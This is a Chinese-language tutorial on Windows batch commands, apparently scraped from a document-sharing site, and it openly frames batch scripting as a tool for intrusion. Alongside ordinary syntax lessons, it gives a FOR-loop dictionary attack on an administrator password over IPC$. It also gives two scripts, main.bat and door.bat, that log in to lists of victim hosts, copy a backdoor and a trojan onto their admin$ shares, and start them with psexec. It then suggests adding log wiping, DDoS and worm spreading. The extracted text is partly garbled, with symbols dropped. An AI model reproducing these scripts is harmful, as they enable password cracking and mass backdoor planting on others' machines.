版權(quán)說(shuō)明:本文檔由用戶(hù)提供并上傳,收益歸屬內(nèi)容提供方,若內(nèi)容存在侵權(quán),請(qǐng)進(jìn)行舉報(bào)或認(rèn)領(lǐng)
文檔簡(jiǎn)介
1、windows批處理命令教程批處理文件是無(wú)格式的文本文件,它包含一條或多條命令。它的文件擴(kuò)展名為.bat或.cmd。在命令提示下鍵入批處理文件的名稱(chēng),或者雙擊該批處理文件,系統(tǒng)就會(huì)調(diào)用Cmd.exe按照該文件中各個(gè)命令出現(xiàn)的順序來(lái)逐個(gè)運(yùn)行它們。使用批處理文件(也被稱(chēng)為批處理程序或腳本),可以簡(jiǎn)化日?;蛑貜?fù)性任務(wù)。當(dāng)然我們的這個(gè)版本的主要內(nèi)容是介紹批處理在入侵中一些實(shí)際運(yùn)用,例如我們后面要提到的用批處理文件來(lái)給系統(tǒng)打補(bǔ)丁、批量植入后門(mén)程序等。下面就開(kāi)始我們批處理學(xué)習(xí)之旅吧。一.簡(jiǎn)單批處理內(nèi)部命令簡(jiǎn)介1.Echo命令打開(kāi)回顯或關(guān)閉請(qǐng)求回顯功能,或顯示消息。如果沒(méi)有任何參數(shù),echo命令將顯示當(dāng)前回
2、顯設(shè)置。語(yǔ)法echoon|offechomessageSample:echo off/echo hello world注意上面是兩條語(yǔ)句,如果當(dāng)作一條語(yǔ)句寫(xiě)在一行,則echo后面都作為回顯文本,而不是關(guān)掉回顯,然后再輸出hello world echo off通過(guò)命令行輸入則命令行的prompt消失,只有一個(gè)閃爍的光標(biāo)但更常用的是用在批處理文件中:DOS在運(yùn)行批處理時(shí),會(huì)依次執(zhí)行批處理中的每條命令,并且會(huì)在顯示器上顯示每條命令,如果你不想讓它們顯示,可以加一個(gè)echo off比如:echo off del*.txt pause就會(huì)不顯示del*.txt,但是如果遇到了錯(cuò)誤(比如目錄下沒(méi)有txt
3、文件)或命令本身有輸出(如ipconfig命令),那還是會(huì)有輸出的。當(dāng)然,echo off也是命令,它本身也會(huì)顯示(因?yàn)閳?zhí)行這一條時(shí),狀態(tài)還是要回顯的),如果連這條也不顯示,就在前面加個(gè)。在實(shí)際應(yīng)用中我們會(huì)把這條命令和重定向符號(hào)(也稱(chēng)為管道符號(hào),一般用)結(jié)合來(lái)實(shí)現(xiàn)輸入一些命令到特定格式的文件中.這將在以后的例子中體現(xiàn)出來(lái)。2.指令符號(hào)在批處理中的作用是關(guān)閉當(dāng)前行命令的回顯,echo off的作用就相當(dāng)于在每條命令前面加一個(gè)符號(hào),這樣所有的命令將只會(huì)顯示結(jié)果不顯示命令.Sample:echo offecho Now initializing the program,please wait ami
4、nite.format X:/q/u/autoset(format這個(gè)命令是不可以使用/y這個(gè)參數(shù)的,可喜的是微軟留了個(gè)autoset這個(gè)參數(shù)給我們,效果和/y是一樣的。)3.Goto命令指定跳轉(zhuǎn)到標(biāo)簽,找到標(biāo)簽后,程序?qū)⑻幚韽南乱恍虚_(kāi)始的命令。語(yǔ)法:goto label(label是參數(shù),指定所要轉(zhuǎn)向的批處理程序中的行。)Sample:if%1=goto noparms if%2=goto noparms(如果這里的if、%1、%2你不明白的話(huà),先跳過(guò)去,后面會(huì)有詳細(xì)的解釋。)Rem check parameters if null show usage:noparms echo Usage
5、:monitor.bat ServerIP PortNumber goto end標(biāo)簽的名字可以隨便起,但是最好是有意義的字母啦,字母前加個(gè):用來(lái)表示這個(gè)字母是標(biāo)簽,goto命令就是根據(jù)這個(gè):來(lái)尋找下一步跳到到那里。最好有一些說(shuō)明這樣你別人看起來(lái)才會(huì)理解你的意圖啊。4.Rem命令注釋命令,在C語(yǔ)言中相當(dāng)與/*-*/,它并不會(huì)被執(zhí)行,只是起一個(gè)注釋的作用,便于別人閱讀和你自己日后修改。Rem Message Sample:Rem Here is the description.5.Pause命令pause命令就是暫停的意思,防止批處理執(zhí)行完后直接退出!執(zhí)行pause命令后會(huì)自動(dòng)在CMD里顯示請(qǐng)按
6、任意鍵繼續(xù).這樣一行話(huà)!Sample:echo off:begin copy a:*.*d:back echo Please put anew disk into driver Apause goto begin在這個(gè)例子中,驅(qū)動(dòng)器A中磁盤(pán)上的所有文件均復(fù)制到d:back中。顯示的注釋提示您將另一張磁盤(pán)放入驅(qū)動(dòng)器A時(shí),pause命令會(huì)使程序掛起,以便您更換磁盤(pán),然后按任意鍵繼續(xù)處理。6.Call命令從一個(gè)批處理程序調(diào)用另一個(gè)批處理程序,并且不終止父批處理程序。call命令接受用作調(diào)用目標(biāo)的標(biāo)簽。如果在腳本或批處理文件外使用Call,它將不會(huì)在命令行起作用。語(yǔ)法callDrive:PathBat
7、chParameters:labelarguments參數(shù)Drive:Path指定要調(diào)用的批處理程序的位置和名稱(chēng)。參數(shù)必須具有.bat或.cmd擴(kuò)展名。7.start命令調(diào)用外部程序,所有的DOS命令和命令行程序都可以由start命令來(lái)調(diào)用(比Call適用范圍廣,Call只能調(diào)用批處理文件)。STARTtitle/Dpath/I/MIN/MAX/SEPARATE|/SHARED/LOW|/NORMAL|/HIGH|/REALTIME|/ABOVENORMAL|/BELOWNORMAL/WAIT/Bcommand/programparameters入侵常用參數(shù):MIN開(kāi)始時(shí)窗口最小化SEPARA
8、TE在分開(kāi)的空間內(nèi)開(kāi)始16位Windows程序HIGH在HIGH優(yōu)先級(jí)類(lèi)別開(kāi)始應(yīng)用程序REALTIME在REALTIME優(yōu)先級(jí)類(lèi)別開(kāi)始應(yīng)用程序WAIT啟動(dòng)應(yīng)用程序并等候它結(jié)束parameters這些為傳送到命令/程序的參數(shù)command/program:如果是內(nèi)部cmd命令或批文件,那么該命令處理器是用/K命令行開(kāi)關(guān)運(yùn)行cmd.exe的。這表示該窗口在命令運(yùn)行后仍然存在。如果不是內(nèi)部cmd命令或批文件,則是一個(gè)程序,并作為窗口應(yīng)用程序或控制臺(tái)應(yīng)用程序運(yùn)行。執(zhí)行的應(yīng)用程序是32-位GUI應(yīng)用程序時(shí),CMD.EXE不等應(yīng)用程序終止就返回命令提示。如果在命令腳本內(nèi)執(zhí)行,該新行為則不會(huì)發(fā)生。8.cho
9、ice命令choice使用此命令可以讓用戶(hù)輸入一個(gè)字符(用于選擇),從而根據(jù)用戶(hù)的選擇返回不同的errorlevel,然后于if errorlevel配合,根據(jù)用戶(hù)的選擇運(yùn)行不同的命令。注意:choice命令為DOS或者windows系統(tǒng)提供的外部命令,不同版本的choice命令語(yǔ)法會(huì)稍有不同,請(qǐng)用choice/?查看用法。windows Xp沒(méi)有這個(gè)命令,替換方法:可以用set/p var=來(lái)建立一個(gè)環(huán)境變量,然后根據(jù)輸入值來(lái)分支執(zhí)行choice使用此命令可以讓用戶(hù)輸入一個(gè)字符,從而運(yùn)行不同的命令。使用時(shí)應(yīng)該加/c:參數(shù),c:后應(yīng)寫(xiě)提示可輸入的字符,之間無(wú)空格。它的返回碼為1234如:cho
10、ice/c:dme defrag,mem,end將顯示defrag,mem,endD,M,E?Sample:Sample.bat的內(nèi)容如下:echo off choice/C dme/Mdefrag,mem,endif errorlevel 3goto end if errorlevel 2goto mem if errorlevel 1goto defrag:defrag c:dosdefrag goto end:mem mem goto end:end echo good bye此文件運(yùn)行后,將顯示defrag,mem,endD,M,E?用戶(hù)可選擇d me,然后if語(yǔ)句將作出判斷,d表示執(zhí)
11、行標(biāo)號(hào)為defrag的程序段,m表示執(zhí)行標(biāo)號(hào)為mem的程序段,e表示執(zhí)行標(biāo)號(hào)為end的程序段,每個(gè)程序段最后都以goto end將程序跳到end標(biāo)號(hào)處,然后程序?qū)@示good bye,文件結(jié)束。9.If命令if表示將判斷是否符合規(guī)定的條件,從而決定執(zhí)行不同的命令。有三種格式:1、if參數(shù)=字符串待執(zhí)行的命令參數(shù)如果等于指定的字符串,則條件成立,運(yùn)行命令,否則運(yùn)行下一句。(注意是兩個(gè)等號(hào))如if%1=aformat a:if%1=goto noparms if%2=goto noparms 2、if exist文件名待執(zhí)行的命令如果有指定的文件,則條件成立,運(yùn)行命令,否則運(yùn)行下一句。如if ex
12、ist config.sys edit config.sys 3、if errorlevel/if not errorlevel數(shù)字待執(zhí)行的命令如果返回碼等于指定的數(shù)字,則條件成立,運(yùn)行命令,否則運(yùn)行下一句。如if errorlevel 2goto x2 DOS程序運(yùn)行時(shí)都會(huì)返回一個(gè)數(shù)字給DOS,稱(chēng)為錯(cuò)誤碼errorlevel或稱(chēng)返回碼,常見(jiàn)的返回碼為0、1。(就是上面choice的用法)10.for命令for命令是一個(gè)比較復(fù)雜的命令,主要用于參數(shù)在指定的范圍內(nèi)循環(huán)執(zhí)行命令。在批處理文件中使用FOR命令時(shí),指定變量請(qǐng)使用%variable for%variable|%variablein(se
13、t)do commandCommandLineOptions%variable指定一個(gè)單一字母可替換的參數(shù)。(set)指定一個(gè)或一組文件??梢允褂猛ㄅ浞?。command指定對(duì)每個(gè)文件執(zhí)行的命令。command-parameters為特定命令指定參數(shù)或命令行開(kāi)關(guān)。在批處理文件中使用FOR命令時(shí),指定變量請(qǐng)使用%variable而不要用%variable。變量名稱(chēng)是區(qū)分大小寫(xiě)的,所以%i不同于%I如果命令擴(kuò)展名被啟用,下列額外的FOR命令格式會(huì)受到支持:FOR/D%variable IN(set)DO commandcommand-parameters如果集中包含通配符,則指定與目錄名匹配,而不與
14、文件名匹配。FOR/Rdrive:path%variable IN(set)DO commandcommand-檢查以drive:path為根的目錄樹(shù),指向每個(gè)目錄中的FOR語(yǔ)句。如果在/R后沒(méi)有指定目錄,則使用當(dāng)前目錄。如果集僅為一個(gè)單點(diǎn)(.)字符,則枚舉該目錄樹(shù)。FOR/L%variable IN(start,step,end)DO commandcommand-para該集表示以增量形式從開(kāi)始到結(jié)束的一個(gè)數(shù)字序列。因此,(1,1,5)將產(chǎn)生序列1 23 45,(5,-1,1)將產(chǎn)生序列(5 43 21)。FOR/Foptions%variable IN()DO command FOR/F
15、options%variable IN(string)DO command FOR/Foptions%variable IN(command)DO command或者,如果有usebackq選項(xiàng):FOR/Foptions%variable IN()DO command FOR/Foptions%variable IN(string)DO command FOR/Foptions%variable IN(command)DO command 為一個(gè)或多個(gè)文件名。繼續(xù)到中的下一個(gè)文件之前,每份文件都已被打開(kāi)、讀取并經(jīng)過(guò)處理。處理包括讀取文件,將其分成一行行的文字,然后將每行解析成零或更多的符號(hào)。然
16、后用已找到的符號(hào)字符串變量值調(diào)用For循環(huán)。以默認(rèn)方式,/F通過(guò)每個(gè)文件的每一行中分開(kāi)的第一個(gè)空白符號(hào)。跳過(guò)空白行。您可通過(guò)指定可選options參數(shù)替代默認(rèn)解析*作。這個(gè)帶引號(hào)的字符串包括一個(gè)或多個(gè)指定不同解析選項(xiàng)的關(guān)鍵字。這些關(guān)鍵字為:eol=c-指一個(gè)行注釋字符的結(jié)尾(就一個(gè))skip=n-指在文件開(kāi)始時(shí)忽略的行數(shù)。delims=xxx-指分隔符集。這個(gè)替換了空格和跳格鍵的默認(rèn)分隔符集。tokens=x,y,m-n-指每行的哪一個(gè)符號(hào)被傳遞到每個(gè)迭代的for本身。這會(huì)導(dǎo)致額外變量名稱(chēng)的格式為一個(gè)范圍。通過(guò)nth符號(hào)指定m符號(hào)字符串中的最后一個(gè)字符星號(hào),那么額外的變量將在最后一個(gè)符號(hào)解析之
17、分配并接受行的保留文本。usebackq-指定新語(yǔ)法已在下類(lèi)情況中使用:在作為命令執(zhí)行一個(gè)后引號(hào)的字符串并且引號(hào)字符為文字字符串命令并允許在fi中使用雙引號(hào)擴(kuò)起文件名稱(chēng)。sample1:FOR/Feol=;tokens=2,3*delims=,%i in(my)do command會(huì)分析my中的每一行,忽略以分號(hào)打頭的那些行,將每行中的第二個(gè)和第三個(gè)符號(hào)傳遞給for程序體;用逗號(hào)和/或空格定界符號(hào)。請(qǐng)注意,這個(gè)for程序體的語(yǔ)句引用%i來(lái)取得第二個(gè)符號(hào),引用%j來(lái)取得第三個(gè)符號(hào),引用%k來(lái)取得第三個(gè)符號(hào)后的所有剩余符號(hào)。對(duì)于帶有空格的文件名,您需要用雙引號(hào)將文件名括起來(lái)。為了用這種方式來(lái)使用雙
18、引號(hào),您還需要使用usebackq選項(xiàng),否則,雙引號(hào)會(huì)被理解成是用作定義某個(gè)要分析的字符串的。%i專(zhuān)門(mén)在for語(yǔ)句中得到說(shuō)明,%j和%k是通過(guò)tokens=選項(xiàng)專(zhuān)門(mén)得到說(shuō)明的。您可以通過(guò)tokens=一行指定最多26個(gè)符號(hào),只要不試圖說(shuō)明一個(gè)高于字母z或Z的變量。請(qǐng)記住,F(xiàn)OR變量是單一字母、分大小寫(xiě)和全局的;同時(shí)不能有52個(gè)以上都在使用中。您還可以在相鄰字符串上使用FOR/F分析邏輯;方法是,用單引號(hào)將括號(hào)之間的括起來(lái)。這樣,該字符串會(huì)被當(dāng)作一個(gè)文件中的一個(gè)單一輸入行。最后,您可以用FOR/F命令來(lái)分析命令的輸出。方法是,將括號(hào)之間的變成一個(gè)反括字符串。該字符串會(huì)被當(dāng)作命令行,傳遞到一個(gè)子C
19、MD.EXE,其輸出會(huì)被抓進(jìn)內(nèi)存,并被當(dāng)作文件分析。因此,以下例子:FOR/Fusebackq delims=%i IN(set)DOecho%i會(huì)枚舉當(dāng)前環(huán)境中的環(huán)境變量名稱(chēng)。另外,F(xiàn)OR變量參照的替換已被增強(qiáng)。您現(xiàn)在可以使用下列選項(xiàng)語(yǔ)法:I-刪除任何引號(hào)(),擴(kuò)充%I%fI-將%I擴(kuò)充到一個(gè)完全合格的路徑名%dI-僅將%I擴(kuò)充到一個(gè)驅(qū)動(dòng)器號(hào)%pI-僅將%I擴(kuò)充到一個(gè)路徑%nI-僅將%I擴(kuò)充到一個(gè)文件名%xI-僅將%I擴(kuò)充到一個(gè)文件擴(kuò)展名%sI-擴(kuò)充的路徑只含有短名%aI-將%I擴(kuò)充到文件的文件屬性%tI-將%I擴(kuò)充到文件的日期/時(shí)間%zI-將%I擴(kuò)充到文件的大小%$PATH:I-查找列在路
20、徑環(huán)境變量的目錄,并將%I擴(kuò)充到找到的第一個(gè)完全合格的名稱(chēng)。如果環(huán)境變量未被定義,或者沒(méi)有找到文件,此組合鍵會(huì)擴(kuò)充空字符串可以組合修飾符來(lái)得到多重結(jié)果:%dpI-僅將%I擴(kuò)充到一個(gè)驅(qū)動(dòng)器號(hào)和路徑%nxI-僅將%I擴(kuò)充到一個(gè)文件名和擴(kuò)展名%fsI-僅將%I擴(kuò)充到一個(gè)帶有短名的完整路徑名%dp$PATH:i-查找列在路徑環(huán)境變量的目錄,并將%I擴(kuò)充到找到的第一個(gè)驅(qū)動(dòng)器號(hào)和路徑。%ftzaI-將%I擴(kuò)充到類(lèi)似輸出線(xiàn)路的DIR在以上例子中,%I和PATH可用其他有效數(shù)值代替。%語(yǔ)法用一個(gè)有效的FOR變量名終止。選取類(lèi)似%I的大寫(xiě)變量名比較易讀,而且避免與不分大小寫(xiě)的組合鍵混淆。以上是MS的官方幫助,下
21、面我們舉幾個(gè)例子來(lái)具體說(shuō)明一下For命令在入侵中的用途。sample2:利用For命令來(lái)實(shí)現(xiàn)對(duì)一臺(tái)目標(biāo)Win2k主機(jī)的暴力密碼破解。我們用net useipipc$password/u:administrator來(lái)嘗試這和目標(biāo)主機(jī)進(jìn)行連接,當(dāng)成功時(shí)記下密碼。最主要的命令是一條:for/f i%in(dict.txt)do net useipipc$i%/u:administrator用i%來(lái)表示admin的密碼,在dict.txt中這個(gè)取i%的值用net use命令來(lái)連接。然后將程序運(yùn)行結(jié)果傳遞給find命令-for/f i%in(dict.txt)do net useipipc$i%/u:a
22、dministrator|find:命令成功完成D:ok.txt,這樣就ko了。sample3:你有沒(méi)有過(guò)手里有大量肉雞等著你去種后門(mén)+木馬呢?,當(dāng)數(shù)量特別多的時(shí)候,原本很開(kāi)心的一件事都會(huì)變得很郁悶:)。文章開(kāi)頭就談到使用批處理文件,可以簡(jiǎn)化日?;蛑貜?fù)性任務(wù)。那么如何實(shí)現(xiàn)呢?呵呵,看下去你就會(huì)明白了。主要命令也只有一條:(在批處理文件中使用FOR命令時(shí),指定變量使用%variable)for/ftokens=1,2,3 delims=%i in(victim.txt)do start call door.bat%i%j%k tokens的用法請(qǐng)參見(jiàn)上面的sample1,在這里它表示按順序?qū)i
23、ctim.txt中的內(nèi)容傳遞給door.bat中的參數(shù)%i%j%k。而cultivate.bat無(wú)非就是用net use命令來(lái)建立IPC$連接,并copy木馬+后門(mén)到victim,然后用返回碼(If errorlever=)來(lái)篩選成功種植后門(mén)的主機(jī),并echo出來(lái),或者echo到指定的文件。delims=表示vivtim.txt中的內(nèi)容是一空格來(lái)分隔的。我想看到這里你也一定明白這victim.txt里的內(nèi)容是什么樣的了。應(yīng)該根據(jù)%i%j%k表示的對(duì)象來(lái)排列,一般就是ip password username。代碼雛形:-cut here then save as abatchfile(I cal
24、l it main.bat)-echo offif%1=goto usagefor/ftokens=1,2,3 delims=%i in(victim.txt)do start call IPChack.bat%i%j%kgoto end:usageecho run this batch in dos modle.or just double-click it.:end-cut here then save as abatchfile(I call it main.bat)-cut here then save as abatchfile(I call it door.bat)-net use
25、%1ipc$%3/u:%2if errorlevel 1goto failedecho Trying to establish the IPC$connectionOKcopy windrv32.exe%1admin$system32&if not errorlevel 1echo IP%1 USER%2 PWD%3 ko.txtpsexec%1 c:winntsystem32windrv32.exepsexec%1 net start windrv32&if not errorlevel 1echo%1 Backdoored ko.txt:failedecho Sorry can not c
26、onnected to the victim.-cut here then save as abatchfile(I call it door.bat)-這只是一個(gè)自動(dòng)種植后門(mén)批處理的雛形,兩個(gè)批處理和后門(mén)程序(Windrv32.exe),PSexec.exe需放在統(tǒng)一目錄下.批處理內(nèi)容尚可擴(kuò)展,例如:加入清除日志+DDOS的功能,加入定時(shí)添加用戶(hù)的功能,更深入一點(diǎn)可以使之具備自動(dòng)傳播功能(蠕蟲(chóng)).此處不多做敘述,有興趣的朋友可自行研究.No.2二.如何在批處理文件中使用參數(shù)批處理中可以使用參數(shù)(批參數(shù),跟在命令后面的),一般從%1到%9這九個(gè),當(dāng)有多個(gè)參數(shù)時(shí)需要用shift來(lái)移動(dòng),這種情況并
27、不多見(jiàn),我們就不考慮它了。sample1:fomat.batecho off if%1=aformat a:formatformat a:/q/u/auotsetecho please insert another disk to driver A.pausegoto fomat這個(gè)例子用于連續(xù)地格式化幾張軟盤(pán),所以用的時(shí)候需在dos窗口輸入fomat.bat a,呵呵,好像有點(diǎn)畫(huà)蛇添足了_sample2:當(dāng)我們要建立一個(gè)IPC$連接地時(shí)候總要輸入一大串命令,弄不好就打錯(cuò)了,所以我們不如把一些固定命令寫(xiě)入一個(gè)批處理,把肉雞地ip password username當(dāng)著參數(shù)來(lái)賦給這個(gè)批處理,這樣
28、就不用每次都打命令了。echo offnet use1%ipc$2%/u:3%注意哦,這里PASSWORD是第二個(gè)參數(shù)。if errorlevel 1echo connection failed怎么樣,使用參數(shù)還是比較簡(jiǎn)單的吧?你這么帥一定學(xué)會(huì)了_.No.3三.如何使用組合命令(Compound Command)1.&(and)Usage:第一條命令&第二條命令&第三條命令.用這種方法可以同時(shí)執(zhí)行多條命令,而不管命令是否執(zhí)行成功Sample:C:dir z:&dir c:Ex4rch The system cannot find the path specified.Volume in dri
29、ve Chas no label.Volume Serial Number is 0078-59FB Directory of c:Ex4rch 2002-05-14 23:51.2002-05-14 23:51.2002-05-14 23:51 14 sometips.gif 2.&(short circuit and)Usage:第一條命令&第二條命令&第三條命令.用這種方法可以同時(shí)執(zhí)行多條命令,當(dāng)碰到執(zhí)行出錯(cuò)的命令后將不執(zhí)行后面的命令,如果一直沒(méi)有出錯(cuò)則一直執(zhí)行完所有命令;Sample:C:dir z:&dir c:Ex4rch The system cannot find the pa
30、th specified.C:dir c:Ex4rch&dir z:Volume in drive Chas no label.Volume Serial Number is 0078-59FB Directory of c:Ex4rch 2002-05-14 23:55.2002-05-14 23:55.2002-05-14 23:55 14 sometips.gif 1File(s)14 bytes 2Dir(s)768,671,744 bytes free The system cannot find the path specified.在做備份的時(shí)候可能會(huì)用到這種命令會(huì)比較簡(jiǎn)單,如:
31、dir E:backup如果遠(yuǎn)程服務(wù)器上存在backup.mdb文件,就執(zhí)行copy命令,若不存在該文件則不執(zhí)行copy命令。這種用法可以替換IF exist了:)3.|(or)Usage:第一條命令|第二條命令|第三條命令.用這種方法可以同時(shí)執(zhí)行多條命令,當(dāng)碰到執(zhí)行正確的命令后將不執(zhí)行后面的命令,如果沒(méi)有出現(xiàn)正確的命令則一直執(zhí)行完所有命令;Sample:C:Ex4rch dir sometips.gif|del sometips.gif Volume in drive Chas no label.Volume Serial Number is 0078-59FB Directory of C
32、:Ex4rch 2002-05-14 23:55 14 sometips.gif 1File(s)14 bytes 0Dir(s)768,696,320 bytes free組合命令使用的例子:sample:copy trojan.exe%1admin$system32&if not errorlevel 1echo IP%1 USER%2 PASS%3 victim.txt三。使用環(huán)境變量下面的腳本建立一個(gè)環(huán)境變量choice,然后根據(jù)輸入的文本值來(lái)進(jìn)行分支,執(zhí)行相應(yīng)操作echo=echo請(qǐng)選擇要進(jìn)行的操作,然后按回車(chē)echo=echo.echo 1.優(yōu)化系統(tǒng)服務(wù)echo.echo 2.進(jìn)行
33、端口操作echo.echo 3.設(shè)置IP為 echo.echo(局域網(wǎng)上網(wǎng)者慎用此功能)echo.echo 4.其它優(yōu)化echo.echo 5.設(shè)置OEM信息echo.echo 6.清除根目錄下的SXS病毒echo.echo 7.清理系統(tǒng)垃圾echo.echo 8.退出echo.:cho set choice=set/p choice=請(qǐng)選擇:IF NOT%Choice%=SET Choice=%Choice:0,1%if/i%choice%=1goto start2 if/i%choice%=2goto start3 if/i%choice%=3goto ip if/i
34、%choice%=4goto other if/i%choice%=5goto oem if/i%choice%=6goto virus if/i%choice%=7goto del if/i%choice%=8goto end echo選擇無(wú)效,請(qǐng)重新輸入echo.goto cho:start2 cls.注意:set choice=%choice:0,1%是截取第一個(gè)字符1.字符串截取語(yǔ)法:%var:x,y%(x,yZ)說(shuō)明:當(dāng)x為正數(shù)時(shí)表示從左到右第x+1位開(kāi)始截取,當(dāng)x為負(fù)數(shù)時(shí)表示從右到左第x位開(kāi)始截取(右一位是-1),當(dāng)省略x時(shí)采用默認(rèn)值0;當(dāng)y為正數(shù)時(shí)表示截取的長(zhǎng)度,當(dāng)y為負(fù)數(shù)時(shí)表示
35、截取到從右到左的第y+1位,當(dāng)省略y時(shí)采用默認(rèn)值-1。2.字符串替換語(yǔ)法:%var:str1=str2%說(shuō)明:將字符串var中所有的str1替換為str2。(只是引用這個(gè)表達(dá)式的地方改變了,環(huán)境變量并沒(méi)有改變,相當(dāng)于ref by value)如:echo off seturl=echo 1.字符串截取echo%url:4,4%echo%url:4,-4%echo%url:-8,4%echo%url:-8,-4%echo%url:,4%echo%url:,-4%echo%url:4%echo%url:-8%echo.echo 2.字符串替換,將mzwu替換為163 echo%url:mzwu=1
36、63%echo%url%Rem上面的替換沒(méi)有改變url的值pause nul輸出為:1.字符串截取mzwu mzwu mzwu mzwu 2.字符串替換,將mzwu替換為163 在批處理執(zhí)行時(shí)不顯示輸出和錯(cuò)誤信息(重定向到nul)copy 1.txt d:nul命令后面加上nul nul不顯示命令執(zhí)行結(jié)果信息2 nul不顯示命令執(zhí)行失敗信息nul 2nul就啥都不顯示了Echo命令詳解一、ECHO命令是DOS批處理命令的一條子命令:1.作為控制批處理命令在執(zhí)行時(shí)是否顯示命令行自身的開(kāi)關(guān)格式:ECHOON|OFF2.顯示當(dāng)前ECHO設(shè)置狀態(tài)格式:ECHO 3.
37、輸出提示信息格式:ECHO信息內(nèi)容4.關(guān)閉DOS命令提示符在DOS提示符狀態(tài)下鍵入ECHO OFF,能夠關(guān)閉DOS提示符的顯示使屏幕只留下光標(biāo),直至鍵入ECHO ON,提示符才會(huì)重新出現(xiàn)。5.輸出空行,即相當(dāng)于輸入一個(gè)回車(chē)格式:ECHO.值得注意的是命令行中的.要緊跟在ECHO后面中間不能有空格,否則.將被當(dāng)作提示信息輸出到屏幕。另外.可以用,:;/+等任一符號(hào)替代。在下面的例子中ECHO.輸出的回車(chē),經(jīng)DOS管道轉(zhuǎn)向作為T(mén)IME命令的輸入,即相當(dāng)于在TIME命令執(zhí)行后給出一個(gè)回車(chē)。所以執(zhí)行時(shí)系統(tǒng)會(huì)在顯示當(dāng)前時(shí)間后,自動(dòng)返回到DOS提示符狀態(tài):C:ECHO.|TIME ECHO命令輸出空行的另
38、一個(gè)應(yīng)用實(shí)例是:將ECHO.加在自動(dòng)批處理文件中,使原本在屏幕下方顯示的提示畫(huà)面,出現(xiàn)在屏幕上方。6.答復(fù)命令中的提問(wèn)格式:ECHO答復(fù)語(yǔ)|命令文件名上述格式可以用于簡(jiǎn)化一些需要人機(jī)對(duì)話(huà)的命令(如:CHKDSK/F;FORMAT Drive:;del*.*)的操作,它是通過(guò)DOS管道命令把ECHO命令輸出的預(yù)置答復(fù)語(yǔ)作為人機(jī)對(duì)話(huà)命令的輸入。下面的例子就相當(dāng)于在調(diào)用的命令出現(xiàn)人機(jī)對(duì)話(huà)時(shí)輸入Y回車(chē):C:ECHO Y|CHKDSK/F C:ECHO Y|DEL A:*.*7.建立新文件或增加文件內(nèi)容格式:ECHO文件內(nèi)容文件名ECHO文件內(nèi)容文件名例如:C:ECHOECHO OFF AUTOEXEC
39、.BAT建立自動(dòng)批處理文件C:ECHO C:CPAVBOOTSAFE AUTOEXEC.BAT向自動(dòng)批處理文件中追加內(nèi)容C:TYPE AUTOEXEC.BAT顯示該自動(dòng)批處理文件ECHO OFF C:CPAVBOOTSAFE 8.向打印機(jī)輸出打印內(nèi)容或打印控制碼格式:ECHO打印機(jī)控制碼PRN ECHO打印內(nèi)容PRN二、的用法:如果想關(guān)閉ECHO OFF命令行自身的顯示,則需要在該命令行前加上,即ECHO OFF批處理中的特殊符號(hào)特殊符號(hào):.|5.6.&7.&8.9.,10.;廢話(huà)少說(shuō),開(kāi)講了一、這個(gè)字符在批處理中的意思是關(guān)閉當(dāng)前行的回顯。我們從前幾課知道ECHO OFF可以關(guān)閉
40、掉整個(gè)批處理命令的回顯,但不能關(guān)掉ECHO OFF這個(gè)命令,現(xiàn)在我們?cè)贓CHO OFF這個(gè)命令前加個(gè),就可以達(dá)到所有命令均不回顯的要求二、這個(gè)字符的意思是傳遞并且覆蓋,他所起的作用是將運(yùn)行的回顯結(jié)果傳遞到后面的范圍(后邊可以是文件,也可以是默認(rèn)的系統(tǒng)控制臺(tái))比如:文件1.txt的文件內(nèi)容是:1+1使用命令:dir*.txt 1.txt這時(shí)候1.txt內(nèi)容如下驅(qū)動(dòng)器C中的卷沒(méi)有標(biāo)簽。卷的序列號(hào)是3827-1BDD C:的目錄2004-05-25 00:57 17,755,907 Log.txt 2004-05-26 15:21 31.txt 2004-05-26 15:21 02.txt 3個(gè)文件17,755,910字節(jié)0個(gè)目錄339,111,936可用字節(jié)三、這個(gè)符號(hào)的作用和有點(diǎn)類(lèi)似,但他們的區(qū)別是是傳遞并在文件的末尾追加,而是覆蓋用法同上同樣拿1.txt做例子內(nèi)容是1+1使用命令:dir*.txt 1.txt咱們來(lái)看看顯示的結(jié)果如何四、|這是一個(gè)管道傳輸命令,意思是將上一命令執(zhí)行的結(jié)果傳到下一個(gè)命令去處理例如:dir c:|findtxt以上命令是:查找C:所有,并發(fā)現(xiàn)TXT字符串。FIND的功能請(qǐng)用FIND/?自行查看在不使format的自動(dòng)格式化參數(shù)時(shí),我是這樣來(lái)自動(dòng)格式化A盤(pán)的echo y|format a:/s/q/v:system用過(guò)format的都知
溫馨提示
- 1. 本站所有資源如無(wú)特殊說(shuō)明,都需要本地電腦安裝OFFICE2007和PDF閱讀器。圖紙軟件為CAD,CAXA,PROE,UG,SolidWorks等.壓縮文件請(qǐng)下載最新的WinRAR軟件解壓。
- 2. 本站的文檔不包含任何第三方提供的附件圖紙等,如果需要附件,請(qǐng)聯(lián)系上傳者。文件的所有權(quán)益歸上傳用戶(hù)所有。
- 3. 本站RAR壓縮包中若帶圖紙,網(wǎng)頁(yè)內(nèi)容里面會(huì)有圖紙預(yù)覽,若沒(méi)有圖紙預(yù)覽就沒(méi)有圖紙。
- 4. 未經(jīng)權(quán)益所有人同意不得將文件中的內(nèi)容挪作商業(yè)或盈利用途。
- 5. 人人文庫(kù)網(wǎng)僅提供信息存儲(chǔ)空間,僅對(duì)用戶(hù)上傳內(nèi)容的表現(xiàn)方式做保護(hù)處理,對(duì)用戶(hù)上傳分享的文檔內(nèi)容本身不做任何修改或編輯,并不能對(duì)任何下載內(nèi)容負(fù)責(zé)。
- 6. 下載文件中如有侵權(quán)或不適當(dāng)內(nèi)容,請(qǐng)與我們聯(lián)系,我們立即糾正。
- 7. 本站不保證下載資源的準(zhǔn)確性、安全性和完整性, 同時(shí)也不承擔(dān)用戶(hù)因使用這些下載資源對(duì)自己和他人造成任何形式的傷害或損失。
最新文檔
- 2026年中化學(xué)南方建設(shè)投資有限公司招聘?jìng)淇碱}庫(kù)及一套答案詳解
- 線(xiàn)上裝修知識(shí)培訓(xùn)課件
- 線(xiàn)上線(xiàn)下培訓(xùn)的
- 2026年勞動(dòng)人事學(xué)院招聘?jìng)淇碱}庫(kù)完整參考答案詳解
- 2026年中國(guó)電力工程顧問(wèn)集團(tuán)西北電力設(shè)計(jì)院有限公司招聘?jìng)淇碱}庫(kù)有答案詳解
- 2026年太原青創(chuàng)招聘小學(xué)教師備考題庫(kù)完整參考答案詳解
- 2026年上海市建筑通信網(wǎng)絡(luò)有限公司招聘?jìng)淇碱}庫(kù)完整參考答案詳解
